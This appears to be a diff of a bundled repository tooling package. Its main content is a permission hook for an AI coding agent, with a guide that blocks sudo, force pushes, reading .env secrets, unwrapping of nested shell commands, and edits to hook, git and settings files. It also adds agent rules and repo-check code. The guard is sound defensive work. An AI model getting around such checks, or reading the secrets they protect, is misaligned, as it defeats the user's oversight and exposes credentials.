});\n		if (res.action === \"deny\") return res;\n	}\n	return {\n		action: \"none\",\n		rule: `pnpm-recursive:${scriptName}`,\n		reason: null\n	};\n}\n/**\n* Evaluate an npm command. Read-only ops (view/info/show) pass through;\n* everything else denies with a redirect message to the pnpm equivalent.\n*/\nfunction evaluateNpm(tokens) {\n	if (isNpmReadOp(tokens)) return {\n		action: \"none\",\n		rule: null,\n		reason: null\n	};\n	return {\n		action: \"deny\",\n		rule: \"npm-redirect\",\n		reason: getNpmRedirectReason(tokens)\n	};\n}\n/**\n* Evaluate `pnpm --filter <pkg> [--filter <pkg> ...] <subcommand>`.\n*\n* Collects every `--filter` / `-F` flag (long, equals, and shorthand forms),\n* resolves each against pnpm-workspace.yaml, then classifies the subcommand as\n* built-in or script. Script commands are resolved and evaluated in each\n* filtered package -- all must allow.\n*\n* Falls back to none if workspace resolution fails.\n*/\nfunction evaluatePnpmFilter(_tokens, subTokens, filterIdx, ctx) {\n	const filterPkgs = [];\n	let cursor = filterIdx;\n	while (cursor < subTokens.length) {\n		const t = subTokens[cursor];\n		if (t === \"--filter\" || t === \"-F\") {\n			const pkg = subTokens[cursor + 1];\n			if (!pkg || pkg.startsWith(\"-\")) return {\n				action: \"none\",\n				rule: null,\n				reason: \"pnpm --filter without package\"\n			};\n			filterPkgs.push(pkg);\n			cursor += 2;\n		} else if (t.startsWith(\"--filter=\") || t.startsWith(\"-F=\")) {\n			const pkg = t.startsWith(\"-F=\") ? t.slice(3) : t.slice(9);\n			if (!pkg) return {\n				action: \"none\",\n				rule: null,\n				reason: \"pnpm --filter without package\"\n			};\n			filterPkgs.push(pkg);\n			cursor += 1;\n		} else break;\n	}\n	if (filterPkgs.length === 0) return {\n		action: \"none\",\n		rule: null,\n		reason: \"pnpm --filter without package\"\n	};\n	let filterSubcommand;\n	let subcmdIdx = -1;\n	for (let i = cursor; i < subTokens.length; i++) {\n		const t = subTokens[i];\n		if (t === \"--filter\" || t === \"-F\") {\n			i += 1;\n			continue;\n		}\n		if (t.startsWith(\"--filter=\") || t.startsWith(\"-F=\")) continue;\n		if (t.startsWith(\"-\") && !PNPM_BUILTINS.has(t)) continue;\n		filterSubcommand = t;\n		subcmdIdx = i;\n		break;\n	}\n	if (!filterSubcommand) return {\n		action: \"none\",\n		rule: null,\n		reason: \"pnpm --filter without subcommand\"\n	};\n	if (PNPM_BUILTINS.has(filterSubcommand) && filterSubcommand !== \"run\" && filterSubcommand !== \"exec\") return {\n		action: \"none\",\n		rule: null,\n		reason: null\n	};\n	if (filterSubcommand === \"exec\") {\n		const execArgs = subTokens.slice(subcmdIdx + 1);\n		if (execArgs.length === 0) return {\n			action: \"none\",\n			rule: null,\n			reason: \"bare pnpm exec\"\n		};\n		return evaluateCommand(joinTokens(execArgs), {\n			...ctx,\n			depth: ctx.depth + 1\n		});\n	}\n	const scriptName = filterSubcommand === \"run\" ? subTokens[subcmdIdx + 1] : filterSubcommand;\n	if (!scriptName || scriptName.startsWith(\"-\")) return {\n		action: \"none\",\n		rule: null,\n		reason: \"pnpm --filter run without script name\"\n	};\n	if (PNPM_BUILTINS.has(scriptName) && scriptName !== \"run\") return {\n		action: \"none\",\n		rule: null,\n		reason: null\n	};\n	for (const pkg of filterPkgs) {\n		const resolved = resolveFilteredScript(scriptName, pkg, ctx.cwd);\n		if (!resolved) return {\n			action: \"none\",\n			rule: null,\n			reason: \"filtered script resolution failed\"\n		};\n		const res = evaluateResolvedScript(resolved, {\n			...ctx,\n			depth: ctx.depth + 1,\n			cwd: resolved.pkgDir ?? ctx.cwd\n		});\n		if (res.action === \"deny\") return res;\n	}\n	return {\n		action: \"none\",\n		rule: `pnpm-filter:${filterPkgs.join(\",\")}:${scriptName}`,\n		reason: null\n	};\n}\n/** A login flag: the shell reads its profile first, then runs `-c` as usual. */\nconst SHELL_LOGIN_FLAGS = /* @__PURE__ */ new Set([\"-l\", \"--login\"]);\n/**\n* Evaluate `bash -c` / `sh -c` / `zsh -c` commands.\n*\n* Unwraps only `<shell> [-l|--login]... -c <command-string>`, with `-c` also\n* accepted inside a cluster of `l` and `c` (`-lc`, `-cl`). A login shell reads\n* its profile before the command, which can change what runs but never makes\n* a denied command safe. Any other flag, a positional after the command\n* string (it sets `$0`, `$1`, ...), or a missing `-c` -> none.\n*/\nfunction evaluateShellC(tokens, ctx) {\n	let i = 1;\n	while (i < tokens.length && SHELL_LOGIN_FLAGS.has(tokens[i])) i++;\n	const flag = tokens[i];\n	if (flag === void 0 || !/^-[lc]+$/.test(flag) || !flag.includes(\"c\")) return {\n		action: \"none\",\n		rule: null,\n		reason: \"shell without a plain -c\"\n	};\n	const cmdArg = tokens[i + 1];\n	if (!cmdArg) return {\n		action: \"none\",\n		rule: null,\n		reason: \"shell -c without command\"\n	};\n	if (tokens.length > i + 2) return {\n		action: \"none\",\n		rule: null,\n		reason: \"shell -c with positional args\"\n	};\n	return evaluateCommand(cmdArg, {\n		...ctx,\n		depth: ctx.depth + 1\n	});\n}\n/** xargs flags that consume the next token as an argument */\nconst XARGS_ARG_FLAGS = /* @__PURE__ */ new Set([\n	\"-I\",\n	\"-d\",\n	\"-n\",\n	\"-P\",\n	\"-s\",\n	\"-L\",\n	\"-E\",\n	\"-a\",\n	\"--max-args\",\n	\"--max-procs\",\n	\"--delimiter\",\n	\"--replace\",\n	\"--max-lines\",\n	\"--max-chars\",\n	\"--arg-file\",\n	\"--process-slot-var\"\n]);\n/** xargs flags that are boolean (no argument) */\nconst XARGS_BOOL_FLAGS = /* @__PURE__ */ new Set([\n	\"-0\",\n	\"--null\",\n	\"-t\",\n	\"--verbose\",\n	\"-r\",\n	\"--no-run-if-empty\",\n	\"-p\",\n	\"--interactive\",\n	\"-x\",\n	\"--exit\",\n	\"--show-limits\"\n]);\n/**\n* Evaluate `xargs <cmd>` commands.\n*\n* Skips xargs flags to find the inner command, then recursively evaluates it.\n* None if no command follows the flags or if unrecognised flags are found.\n*/\nfunction evaluateXargs(tokens, ctx) {\n	let i = 1;\n	while (i < tokens.length) {\n		const t = tokens[i];\n		if (!t.startsWith(\"-\")) break;\n		if (XARGS_ARG_FLAGS.has(t)) {\n			i += 2;\n			continue;\n		}\n		const eqIdx = t.indexOf(\"=\");\n		if (eqIdx !== -1) {\n			const flagName = t.slice(0, eqIdx);\n			if (XARGS_ARG_FLAGS.has(flagName)) {\n				i++;\n				continue;\n			}\n		}\n		if (t.length > 2 && XARGS_ARG_FLAGS.has(t.slice(0, 2))) {\n			i++;\n			continue;\n		}\n		if (XARGS_BOOL_FLAGS.has(t)) {\n			i++;\n			continue;\n		}\n		return {\n			action: \"none\",\n			rule: null,\n			reason: \"xargs with unrecognised flags\"\n		};\n	}\n	if (i >= tokens.length) return {\n		action: \"none\",\n		rule: null,\n		reason: \"xargs without command\"\n	};\n	return evaluateCommand(joinTokens(tokens.slice(i)), {\n		...ctx,\n		depth: ctx.depth + 1\n	});\n}\n\n//#endregion\n//#region src/file-rules.ts\nconst READ_TOOLS = /* @__PURE__ */ new Set([\n	\"Read\",\n	\"Glob\",\n	\"Grep\"\n]);\nconst WRITE_TOOLS = /* @__PURE__ */ new Set([\"Write\", \"Edit\"]);\nconst fileDenyRules = [\n	{\n		name: \"env-file-read\",\n		tools: READ_TOOLS,\n		action: \"deny\",\n		when: (filePath) => isEnvFile(filePath),\n		reason: \"Don't read .env files. These contain secrets that should not appear in the conversation.\"\n	},\n	{\n		name: \"env-file-write\",\n		tools: WRITE_TOOLS,\n		action: \"deny\",\n		when: (filePath) => isEnvFile(filePath),\n		reason: \"Don't write to .env files. These contain secrets.\"\n	},\n	{\n		name: \"hooks-folder-write\",\n		tools: WRITE_TOOLS,\n		action: \"deny\",\n		when: (filePath, ctx) => {\n			const resolved = resolveIn(ctx.cwd, filePath);\n			const hooksDir = path.join(ctx.cwd, \".claude\", \"hooks\");\n			return isWithin(hooksDir, resolved);\n		},\n		reason: \"Don't write to .claude/hooks/. These files are managed by the project and should not be modified directly.\"\n	},\n	{\n		name: \"git-dir-write\",\n		tools: WRITE_TOOLS,\n		action: \"deny\",\n		when: (filePath, ctx) => targetsGitDir(filePath, ctx.cwd),\n		reason: \"Don't write into .git/ directly. Its internals (config, hooks, refs) are not plain project files -- a config edit can redirect remotes or push destinations that other rules trust, and a hooks/ script runs automatically on the next commit/push. Use git subcommands instead, or ask the user.\"\n	},\n	{\n		name: \"node-modules-write\",\n		tools: WRITE_TOOLS,\n		action: \"deny\",\n		when: (filePath, ctx) => targetsNodeModules(filePath, ctx.cwd),\n		reason: \"Don't write into node_modules/. Its files are hardlinks into pnpm's global store -- editing one in place corrupts that package for every project on this machine. Edit the source package and rebuild, or install into a scratch tree with an isolated store (`pnpm add --store-dir <scratch> <pkg>`).\"\n	},\n	{\n		name: \"claude-settings-write\",\n		tools: WRITE_TOOLS,\n		action: \"deny\",\n		when: (filePath, ctx) => {\n			const resolved = resolveIn(ctx.cwd, filePath);\n			return samePath(resolved, path.join(ctx.cwd, \".claude\", \"settings.json\"));\n		},\n		reason: \"Don't write to .claude/settings.json. This file is managed by the project and should not be modified directly.\"\n	}\n];\n\n//#endregion\n//#region src/evaluate-tool.ts\n/** Tools whose input contains a `file_path` field. */\nconst FILE_PATH_TOOLS = /* @__PURE__ */ new Set([\n	\"Read\",\n	\"Write\",\n	\"Edit\"\n]);\n/** Tools whose input contains a `path` field (search root, optional). */\nconst SEARCH_TOOLS = /* @__PURE__ */ new Set([\"Glob\", \"Grep\"]);\n/**\n* Extract the relevant file path from tool input based on tool name.\n* Returns null if the input shape doesn't match expectations.\n*/\nfunction extractPath(toolName, toolInput, cwd) {\n	if (FILE_PATH_TOOLS.has(toolName)) return parseFilePathInput(toolInput)?.file_path ?? null;\n	if (SEARCH_TOOLS.has(toolName)) return parseSearchInput(toolInput)?.path ?? cwd;\n	return null;\n}\n/**\n* Evaluate a non-Bash tool invocation against file-tool rules.\n* Returns deny or none.\n*/\nfunction evaluateToolUse(toolName, toolInput, ctx) {\n	const filePath = extractPath(toolName, toolInput, ctx.cwd);\n	if (filePath === null) return {\n		action: \"none\",\n		rule: null,\n		reason: \"unknown tool input shape\"\n	};\n	for (const rule of fileDenyRules) if (rule.tools.has(toolName) && rule.when(filePath, ctx)) return {\n		action: \"deny\",\n		rule: rule.name,\n		reason: rule.reason ?? null\n	};\n	return {\n		action: \"none\",\n		rule: null,\n		reason: \"no file rule matched\"\n	};\n}\n\n//#endregion\n//#region src/lib/settings.ts\nconst SETTINGS_PATH = \".claude/hooks/bst-hook.settings.json\";\nconst BstHookSettingsSchema = object({ protectedBranches: array(string().min(1)).default([]) });\n/**\n* Check whether a file at `relativePath` inside `cwd` is tracked and\n* unmodified in git (no staged or unstaged changes vs HEAD).\n*\n* Returns false on any error -- safe default is to not trust the file.\n*/\nfunction isFileClean(cwd, relativePath) {\n	try {\n		execFileSync(\"git\", [\n			\"ls-files\",\n			\"--error-unmatch\",\n			relativePath\n		], {\n			cwd,\n			stdio: \"ignore\"\n		});\n		execFileSync(\"git\", [\n			\"diff\",\n			\"--quiet\",\n			\"HEAD\",\n			\"--\",\n			relativePath\n		], {\n			cwd,\n			stdio: \"ignore\"\n		});\n		return true;\n	} catch {\n		return false;\n	}\n}\n/**\n* Load repo-level settings from `.claude/hooks/bst-hook.settings.json`.\n*\n* Walks up from `cwd` to find the workspace root (or uses `cwd` directly),\n* reads the settings file, validates it, and checks that the file is\n* git-tracked and unmodified before trusting it.\n*\n* Returns `{ protectedBranches: [] }` if the file is missing, invalid, or\n* untrusted.\n*/\nfunction loadRepoSettings(cwd) {\n	const root = findWorkspaceRoot(cwd) ?? cwd;\n	const settingsFile = join(root, SETTINGS_PATH);\n	const empty = { protectedBranches: [] };\n	if (!existsSync(settingsFile)) return empty;\n	if (!isFileClean(root, SETTINGS_PATH)) return empty;\n	try {\n		const raw = readFileSync(settingsFile, \"utf-8\");\n		const parsed = JSON.parse(raw);\n		const result = BstHookSettingsSchema.safeParse(parsed);\n		if (!result.success) return empty;\n		return { protectedBranches: result.data.protectedBranches };\n	} catch {\n		return empty;\n	}\n}\n\n//#endregion\n//#region src/index.ts\nconst inputResult = await readHookInput();\nif (!inputResult.ok) {\n	process.stderr.write(`[bst-hook] invalid hook input: ${inputResult.error}\\n`);\n	audit({\n		sessionId: \"unknown\",\n		cwd: \"unknown\",\n		command: `<invalid input: ${inputResult.error}>`,\n		decision: \"none\",\n		rule: null,\n		reason: `validation failed: ${inputResult.error}`,\n		permissionMode: void 0\n	});\n	process.exit(0);\n}\nconst input = inputResult.data;\nif (input.hook_event_name !== \"PreToolUse\") process.exit(0);\nif (!(/* @__PURE__ */ new Set([\n	\"Bash\",\n	\"Read\",\n	\"Write\",\n	\"Edit\",\n	\"Glob\",\n	\"Grep\"\n])).has(input.tool_name)) process.exit(0);\nconst repoSettings = loadRepoSettings(input.cwd);\nlet decision;\nlet auditCommand;\nif (input.tool_name === \"Bash\") {\n	const bashInput = parseBashInput(input.tool_input);\n	if (!bashInput) {\n		audit({\n			sessionId: input.session_id,\n			cwd: input.cwd,\n			toolName: input.tool_name,\n			command: `<invalid Bash input: ${JSON.stringify(input.tool_input).slice(0, 200)}>`,\n			decision: \"none\",\n			rule: null,\n			reason: \"Bash tool_input missing or invalid 'command' field\",\n			permissionMode: input.permission_mode\n		});\n		process.exit(0);\n	}\n	decision = evaluateCommand(bashInput.command, {\n		cwd: input.cwd,\n		depth: 0,\n		repoProtectedBranches: repoSettings.protectedBranches\n	});\n	auditCommand = bashInput.command;\n} else {\n	const projectDir = findWorkspaceRoot(input.cwd) ?? process.env[\"CLAUDE_PROJECT_DIR\"] ?? input.cwd;\n	decision = evaluateToolUse(input.tool_name, input.tool_input, {\n		cwd: projectDir,\n		sessionId: input.session_id\n	});\n	const filePath = String(input.tool_input[\"file_path\"] ?? input.tool_input[\"path\"] ?? \"\");\n	auditCommand = `${input.tool_name} ${filePath}`;\n}\naudit({\n	sessionId: input.session_id,\n	cwd: input.cwd,\n	toolName: input.tool_name,\n	command: auditCommand,\n	decision: decision.action,\n	rule: decision.rule,\n	reason: decision.reason,\n	permissionMode: input.permission_mode\n});\nif (decision.action === \"deny\") writeDeny(decision.reason);\nelse if (decision.advice) writeAdvice(decision.advice);\n\n//#endregion\nexport {  };", "bst-hook.mjs"), writeIfChanged(ctx, GUIDE_PATH, "# bst-hook Permission Guide\n\nThis project uses a PreToolUse hook (`bst-hook`) that checks each Bash command\nand file tool call before it runs. The hook only ever blocks a command; it does\nnot approve anything on its own. A command that matches a rule below is denied,\nwith a message that says what to do instead.\n\n## Denied commands\n\nThese are blocked. The hook tells you what to do instead.\n\n### Bash\n\n- **sudo**: Don't use sudo. If you need elevated permissions, ask me to do it manually.\n- **git-force-push**: Use `git push --force-with-lease` instead of `--force`.\n- **git-protected-branch-write**: This would move a protected branch (main, master, the remote's default branch, or one listed in .claude/hooks/bst-hook.settings.json#protectedBranches). Work on a feature branch in a worktree: `git worktree add ../<repo>-<topic> -b feat/<topic>`, then commit and push there. To bring `main` up to date, use `git pull --ff-only`.\n- **chmod-777**: Don't use 777 permissions. Use more restrictive permissions.\n- **node-modules-write**: Don't write into node_modules/. Its files are hardlinks into pnpm's global store, so overwriting one in place (plain `cp`, `>` redirect, `sed -i`, ...) writes through the link and corrupts that package for every project on this machine -- silently, since the directory you wrote into ends up fine. To test a local build as an installed dependency, run it directly (`node packages/<pkg>/dist/bin.mjs <cmd>`), or install into a scratch tree with an isolated store (`pnpm add --store-dir <scratch> <pkg>`). If you must replace a file in place, `cp --remove-destination` is safe -- it unlinks the target first. Run `pnpm store status` to check whether the store is already damaged.\n- **env-file-read**: Don't read .env files. These contain secrets that should not appear in the conversation.\n- **env-file-write**: Don't write to .env files. These contain secrets.\n- **npx-redirect**: This project uses pnpm. Use `pnpm dlx <pkg>` or `pnpm exec <cmd>` instead of npx.\n- **mise-self-update**: Don't self-update mise. The version is Renovate-managed; ask a human to bump the pin.\n\n### File tools (Read, Write, Edit, Glob, Grep)\n\n- **env-file-read**: Don't read .env files. These contain secrets that should not appear in the conversation.\n- **env-file-write**: Don't write to .env files. These contain secrets.\n- **hooks-folder-write**: Don't write to .claude/hooks/. These files are managed by the project and should not be modified directly.\n- **git-dir-write**: Don't write into .git/ directly. Its internals (config, hooks, refs) are not plain project files -- a config edit can redirect remotes or push destinations that other rules trust, and a hooks/ script runs automatically on the next commit/push. Use git subcommands instead, or ask the user.\n- **node-modules-write**: Don't write into node_modules/. Its files are hardlinks into pnpm's global store -- editing one in place corrupts that package for every project on this machine. Edit the source package and rebuild, or install into a scratch tree with an isolated store (`pnpm add --store-dir <scratch> <pkg>`).\n- **claude-settings-write**: Don't write to .claude/settings.json. This file is managed by the project and should not be modified directly.\n\n## How commands are evaluated\n\n- **Pipelines and chains**: every segment is checked; a deny on any segment blocks the whole command.\n- **pnpm scripts**: `pnpm <script>` resolves against `package.json` (including pre/post hooks and `--filter` workspaces) and evaluates the resolved command recursively.\n- **cd propagation**: `cd dir && cmd` evaluates `cmd` relative to the new directory.\n- **Audit log**: all decisions are logged to `.claude/hooks/bst-hook.audit.local.jsonl`.\n\n## Everything else\n\nA command that matches none of the rules above is judged by Claude Code's own\nauto mode, not by this hook.\n", "bst-hook-guide.md")];
+	const legacyAllowResult = checkLegacyAllowKey(ctx);
+	if (legacyAllowResult) results.push(legacyAllowResult);
+	return results;
 }
 //#endregion
 //#region src/generators/claude-settings.ts
@@ -10611,12 +10859,12 @@ const TS_EXTENSIONLESS_RULE = "- Prefer extensionless imports; if an extension i
 */
 const CHANGESETS_RULE = "- A user-facing change owes a changeset in `.changeset/`, written with the change: `patch` for a fix, `minor` for a feature, naming every package it affects. One file per smallest unit of work.";
 const AGENT_RULES_TAIL = [
-	"- The bst-hook manages Bash/file permissions -- see `.claude/hooks/bst-hook-guide.md`.",
+	"- The bst-hook blocks a short list of dangerous commands (`.claude/hooks/bst-hook-guide.md` lists them); Claude Code's auto mode judges everything else.",
 	"- Machine-reading a `bst` command? Pass `--json` after the command name (`bst <cmd> --json`, not `bst --json <cmd>`); capture `2>&1` and parse it as one JSON document, failures included as `{ok: false, error}`. `--verbose` breaks this.",
 	"",
 	"#### Git discipline",
 	"",
-	"**The branch you are on is the mode switch.** On a protected branch the bst-hook allows nothing but unstaged edits; on a feature branch it allows the full commit/push/PR loop. Pick the mode, announce it, and only ask when it's genuinely ambiguous.",
+	"**The branch you are on is the mode switch.** The bst-hook refuses any command that would move a protected branch, so on one you leave changes unstaged; on a feature branch you commit, push, and open the PR yourself. Pick the mode, announce it, and only ask when it's genuinely ambiguous.",
 	"",
 	"**Small change** -- a fix, a doc edit, a one-file tweak: work on the default branch and leave it unstaged. Don't commit; surface the commit message as text for the user to run.",
 	"",
@@ -10714,16 +10962,17 @@ const PLANNING_GUIDE_BODY = [
 	"",
 	"## The plan",
 	"",
-	"Write for an executor who knows nothing about this repo and has only the plan and the spec. Save it under `docs/superpowers/plans/`.",
+	"Write for an executor who has not seen this repo or the spec. They write idiomatic code once they know the exact interface and the exact test, and make a reasonable choice wherever the plan leaves one open; what they cannot know is what you decided. A plan records those decisions -- it is not a transcript of the code. Save it under `docs/superpowers/plans/`.",
 	"",
 	"- Check the plan's premises against the tree before building on them. \"Today X is broken\" is a claim: read the code that handles X, not just the line that throws.",
 	"- Label each task `Task <n>:` at the start of its heading or checkbox, numbered from 1, so `bst plan:brief` can find it.",
-	"- Name exact file paths, the interfaces each task uses and provides, and every command along with the output it should produce.",
+	"- Give each task what makes it unambiguous and nothing more: a test's name and its assertions with the spec's exact values, a code change's exact signature and file, a command with the output that means it passed. Write out a body only for an algorithm the signature and tests do not determine. Work that uses another task's result names that task's interfaces, never repeats its code.",
 	"- Keep tasks small. Each one runs its own test cycle and ends in a result that can be checked on its own: write the failing test, watch it fail, make it pass, commit. A run cut off partway then loses one task, not the plan. A large plan is fine; a large task is not.",
 	"- A plan that builds on earlier work opens with a task that checks the prerequisite exists, and records a `**Blocked:**` note if it does not, instead of rebuilding it.",
 	"- State a judgement that recurs across many places once, as a rule in the plan, so every task decides it the same way.",
 	"- Where the property that matters is out of the executor's reach (a container, a live process, a real network), say so and name the test that stands in for watching it.",
 	"- The last task retires the plan (see the plan-lifecycle guide). Its checkbox text starts with the literal `Retire this plan`, not `Task <n>:`, so tooling can recognize it.",
+	"- Reread the finished plan against the spec. A plan several times longer than its spec has written the program instead of the decisions: replace bodies with signatures, test names, and assertions. A line that decides nothing (\"TBD\", \"handle edge cases\", a type no task defines) is the opposite failure. Fix both.",
 	"",
 	"## Working through a plan",
 	"",
@@ -10910,6 +11159,13 @@ function checkCadenceBody(config) {
 * a failing gate, but an exemption carries a required justification and prints in
 * `health:summary --explain`; raising the limit clears it silently and un-tracks every module
 * under the new ceiling at the same time.
+*
+* The tail keeps a per-module ceiling apart from that shared limit because an exemption
+* suppresses reporting, not measurement: `ceilingsFromDetails` in `codebase-health/collect.ts`
+* records a ceiling for an exempt module too, so the gate still fails when such a hub gains an
+* edge. A reader who reads "exempt" as "unmeasured" files the resulting raise as an
+* unexplained regression, and a remedy list of only split-or-exempt gives that reader nowhere
+* to go.
 */
 const HEALTH_RULE_HEAD = [
 	"# Codebase health",
@@ -10919,7 +11175,19 @@ const HEALTH_RULE_HEAD = [
 ];
 const HEALTH_RULE_SAME_PACKAGE = "**The fan-in, fan-out, and cycle metrics count value edges only.** A type-only import is erased before the graph is built and never moves a metric. An import across a workspace package boundary counts at the `health.crossPackage` default and is invisible when it is off.";
 const HEALTH_RULE_SINGLE_PACKAGE = "**The fan-in, fan-out, and cycle metrics count value edges, and nothing else.** A type-only import is erased before the graph is built, and an import of an installed package resolves outside it -- neither moves any metric.";
-const HEALTH_RULE_TAIL = ["", "So never duplicate a type, or fork a helper, to protect a fan budget -- import it. When a real value edge trips the gate, split the module or record a justified `health.exempt` entry, which names the hub a copy would hide."];
+const HEALTH_RULE_TAIL = [
+	"",
+	"So never duplicate a type, or fork a helper, to protect a fan budget -- import it. The converse holds: turning a type-only import into a value import adds an edge, so a module that already imports another for its types gains a real edge the first time it imports a value from it.",
+	"",
+	"**An exemption drops a module from one outlier list and nothing else.** Every module over a fan limit keeps a per-module ceiling in `health-baseline.json`, exempt or not, and growing past that ceiling fails the gate.",
+	"",
+	"When a real value edge trips the gate, the remedy depends on the module:",
+	"- No `health.exempt` entry: split the module, or record a justified entry. The justification names what the hub wires by construction, which is what a copy would hide.",
+	"- An exempt hub gaining an edge inside its justification's scope: adopt the growth with `bst health:check --update-baseline --reset` in the pull request that adds the edge, and say why in that PR's plan or commit. The justification is the durable record of what the hub may wire; the raise needs no second record when the new edge is already named there.",
+	"- An exempt hub gaining an edge outside that scope: split the module, or widen the justification in `.tooling.json` as a reviewed edit of its own. A ceiling raised without either is the thing a reviewer should question.",
+	"",
+	"Prefer an exemption to raising `fanInLimit` or `fanOutLimit`: an exemption names the hub in `bst health:summary --explain`, while a higher limit silently un-tracks every module beneath it. A per-module ceiling has no such shadow -- it ratchets one module at one count and fails again one edge later."
+];
 function healthRuleBody(config) {
 	const lines = [...HEALTH_RULE_HEAD];
 	lines.push(config.structure === "monorepo" ? HEALTH_RULE_SAME_PACKAGE : HEALTH_RULE_SINGLE_PACKAGE);
@@ -11343,7 +11611,7 @@ function reportFailures(failed, command) {
 function generateMigratePrompt(results, config, detected) {
 	const sections = [];
 	const timestamp = (/* @__PURE__ */ new Date()).toISOString();
-	sections.push(`# Migration Prompt\n\n_Generated by \`@bensandee/tooling@0.80.0 repo:sync\` on ${timestamp}_\n`);
+	sections.push(`# Migration Prompt\n\n_Generated by \`@bensandee/tooling@0.81.0 repo:sync\` on ${timestamp}_\n`);
 	const changed = results.filter((r) => r.action === "created" || r.action === "updated" || r.action === "archived");
 	if (changed.length > 0) {
 		const items = changed.map((r) => {
@@ -13266,13 +13534,20 @@ const syncCommand$1 = defineCommand({
 			type: "boolean",
 			default: true,
 			description: "Generate the migration prompt (default). --no-prompt skips it, and skips the first-run stack prompt."
+		},
+		json: {
+			type: "boolean",
+			description: "Emit the check report as JSON (--check only; the write mode prompts and inherits child streams)"
 		}
 	},
 	async run({ args }) {
 		const targetDir = path.resolve(args.dir ?? ".");
+		const out = createCliOutput(args.json === true);
+		if ((args.json === true || isJsonMode()) && args.check !== true) throw new FatalError("--json is granted to repo:sync --check only: the write mode prompts on a first run and inherits pnpm install's streams.");
 		if (args.check) {
-			const exitCode = await runCheck(targetDir);
-			process.exitCode = exitCode;
+			const report = await runCheckReport(targetDir);
+			out.json(report);
+			process.exitCode = report.exitCode;
 			return;
 		}
 		const flags = {
@@ -13326,27 +13601,121 @@ async function runUpdate(targetDir, flags = {}) {
 		confirmOverwrite: async () => "overwrite"
 	});
 }
-/** Run sync in check mode: dry-run drift detection. */
-async function runCheck(targetDir) {
+/**
+* The one place a failed-gate verdict is built, so `status` and `exitCode` cannot drift here.
+* Module scope rather than a closure inside `runCheckReport`: it captures nothing from the run, and
+* a nested copy would both trip the function-scoping lint and hide that every early gate return is
+* the same verdict.
+*/
+function gateFailure(toolchainWarned = false) {
+	return {
+		status: "failed",
+		actionable: [],
+		failed: [],
+		toolchain: { warned: toolchainWarned },
+		warnCount: 0,
+		exitCode: 1
+	};
+}
+/**
+* The no-drift, no-failure verdict. Its text-mode line is the advisory warning marker when the
+* toolchain gate warned (still exit 0) and a success line otherwise. In JSON mode the marker is
+* withheld -- the same number rides in `warnCount`, and printing both would put a second thing on
+* the stream beside the payload.
+*/
+function upToDateReport(toolchain) {
+	const warnCount = toolchain.warned ? 1 : 0;
+	if (warnCount > 0) {
+		if (!isJsonMode()) rawLog$1(formatWarnMarker(warnCount));
+	} else log$1.success("Repository is up to date.");
+	return {
+		status: "up-to-date",
+		actionable: [],
+		failed: [],
+		toolchain,
+		warnCount,
+		exitCode: 0
+	};
+}
+/**
+* Run sync in check mode and report the verdict as data rather than as an exit code.
+*
+* `--check`'s exit code is the whole story in a terminal, and it is a lossy one: `0` means both
+* "nothing to do" and "drift exists but only under a workflow directory, which is advisory", and
+* `1` means both "drift" and "a generator failed, so nothing here was measured". The four statuses
+* say which of the four it was, and `warnCount` carries the number the stdout marker carries, so a
+* `--json` reader gets the same advisory signal without scraping stdout.
+*
+* `runCheck` is a one-line wrapper over this rather than a parallel implementation: ~25 assertions
+* across `test/check.drift.test.ts` and `test/check.failures.test.ts` drive the exit code directly,
+* and two shapes computing the same verdict would be two shapes free to disagree.
+*/
+async function runCheckReport(targetDir) {
 	const saved = loadToolingConfigStrict(targetDir);
 	if (saved) {
 		warnStaleChecksAdd(saved);
 		warnCoveredChecksAdd(saved, targetDir);
 	}
-	if (runComposeLintGate(targetDir, saved) > 0) return 1;
+	if (runComposeLintGate(targetDir, saved) > 0) return gateFailure();
 	const detected = buildDefaultConfig(targetDir, {});
 	const config = saved ? mergeWithSavedConfig(detected, saved) : detected;
-	if (runReleaseTargetGate(config, targetDir)) return 1;
-	if (runVersionStampGate(saved, targetDir, config.releaseStrategy) > 0) return 1;
-	if (runPublishConfigGate(config, targetDir) > 0) return 1;
+	if (runReleaseTargetGate(config, targetDir)) return gateFailure();
+	if (runVersionStampGate(saved, targetDir, config.releaseStrategy) > 0) return gateFailure();
+	if (runPublishConfigGate(config, targetDir) > 0) return gateFailure();
 	const toolchain = runToolchainGate(targetDir);
-	if (toolchain.failures > 0) return 1;
+	if (toolchain.failures > 0) return {
+		...gateFailure(),
+		toolchain: { warned: toolchain.warned }
+	};
 	const { ctx, pendingWrites } = createDryRunContext(config);
 	logDetectionSummary(ctx);
 	const results = await runGenerators(ctx);
 	const failed = failedResults(results);
 	reportFailures(failed, "repo:sync");
-	const actionable = results.filter((r) => {
+	const actionable = actionableResults(results, pendingWrites, targetDir);
+	const toolchainWarnCount = toolchain.warned ? 1 : 0;
+	const toolchainState = { warned: toolchain.warned };
+	if (actionable.length === 0 && failed.length === 0) return upToDateReport(toolchainState);
+	if (actionable.length === 0) return {
+		status: "failed",
+		actionable: [],
+		failed,
+		toolchain: toolchainState,
+		warnCount: 0,
+		exitCode: 1
+	};
+	log$1.warn(`${actionable.length} file(s) would be changed by repo:sync`);
+	for (const r of actionable) logActionableChange(r, targetDir, pendingWrites);
+	if (failed.length === 0 && actionable.every((r) => isWorkflowDirPath(r.filePath))) {
+		const warnCount = actionable.length + toolchainWarnCount;
+		if (!isJsonMode()) rawLog$1(formatWarnMarker(warnCount));
+		return {
+			status: "workflow-drift",
+			actionable,
+			failed: [],
+			toolchain: toolchainState,
+			warnCount,
+			exitCode: 0
+		};
+	}
+	return {
+		status: "drift",
+		actionable,
+		failed,
+		toolchain: toolchainState,
+		warnCount: 0,
+		exitCode: 1
+	};
+}
+/**
+* The results a check run reports as drift: every created/updated/removed result, minus an
+* `updated` whose new content is byte-equivalent to what is on disk (a generator that rewrites
+* semantically-identical content is not drift). Extracted from `runCheckReport` to keep that
+* function inside the lint's statement budget -- the predicate is the drift definition, so it
+* reads better as a named function anyway.
+*/
+function actionableResults(results, pendingWrites, targetDir) {
+	return results.filter((r) => {
 		if (r.action === "removed") return true;
 		if (r.action !== "created" && r.action !== "updated") return false;
 		const newContent = pendingWrites.get(r.filePath);
@@ -13357,23 +13726,6 @@ async function runCheck(targetDir) {
 		}
 		return true;
 	});
-	const toolchainWarnCount = toolchain.warned ? 1 : 0;
-	if (actionable.length === 0 && failed.length === 0) {
-		if (toolchainWarnCount > 0) {
-			rawLog$1(formatWarnMarker(toolchainWarnCount));
-			return 0;
-		}
-		log$1.success("Repository is up to date.");
-		return 0;
-	}
-	if (actionable.length === 0) return 1;
-	log$1.warn(`${actionable.length} file(s) would be changed by repo:sync`);
